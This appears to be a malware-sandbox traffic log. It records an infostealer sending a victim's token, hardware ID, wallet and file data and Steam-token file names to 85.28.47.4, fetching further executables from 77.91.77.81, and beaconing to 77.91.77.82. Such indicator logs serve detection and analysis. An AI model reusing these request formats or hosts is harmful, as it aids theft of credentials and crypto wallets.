Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file"------GIIEGHIDBGHIECAAECGD--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="file"------JEBKECAFIDAFIECBKEHD--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDBHost: 85.28.47.4Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAKHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 2d 2d 0d 0a Data Ascii: ------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="message"wallets------IEHJDGIDBAAFIDGCGCAK--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEHost: 85.28.47.4Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="message"files------EGIDAAFIEHIEHJKFHCAE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGIDHJKKJDGCBGCGIJKHost: 85.28.47.4Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 49 44 48 4a 4b 4b 4a 44 47 43 42 47 43 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KEGIDHJKKJDGCBGCGIJKContent-Disposition: form-data; name="file"------KEGIDHJKKJDGCBGCGIJK--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKKHost: 85.28.47.4Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 65 32 33 30 35 65 62 35 32 62 61 35 62 63 64 39 32 37 37 35 38 30 38 34 63 63 37 62 33 62 63 65 63 36 66 31 63 39 31 33 32 32 65 66 32 65 64 62 63 32 35 37 62 34 39 38 35 31 30 35 62 30 34 39 36 35 34 30 35 31 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------GIEGHJEGHJKFIEBFHJKKContent-Disposition: form-data; name="token"6e2305eb52ba5bcd927758084cc7b3bcec6f1c91322ef2edbc257b4985105b0496540514------GIEGHJEGHJKFIEBFHJKKContent-Disposition: form-data; name="message"jbdtaijovg------GIEGHJEGHJKFIEBFHJKK--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: 85.28.47.4Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 31 30 30 34 37 42 42 42 30 42 38 33 39 34 36 30 39 38 34 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 2d 2d 0d 0a Data Ascii: ------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="hwid"F10047BBB0B83946098432------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="build"default------JEGHJDGIJECGDHJJECGH--
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
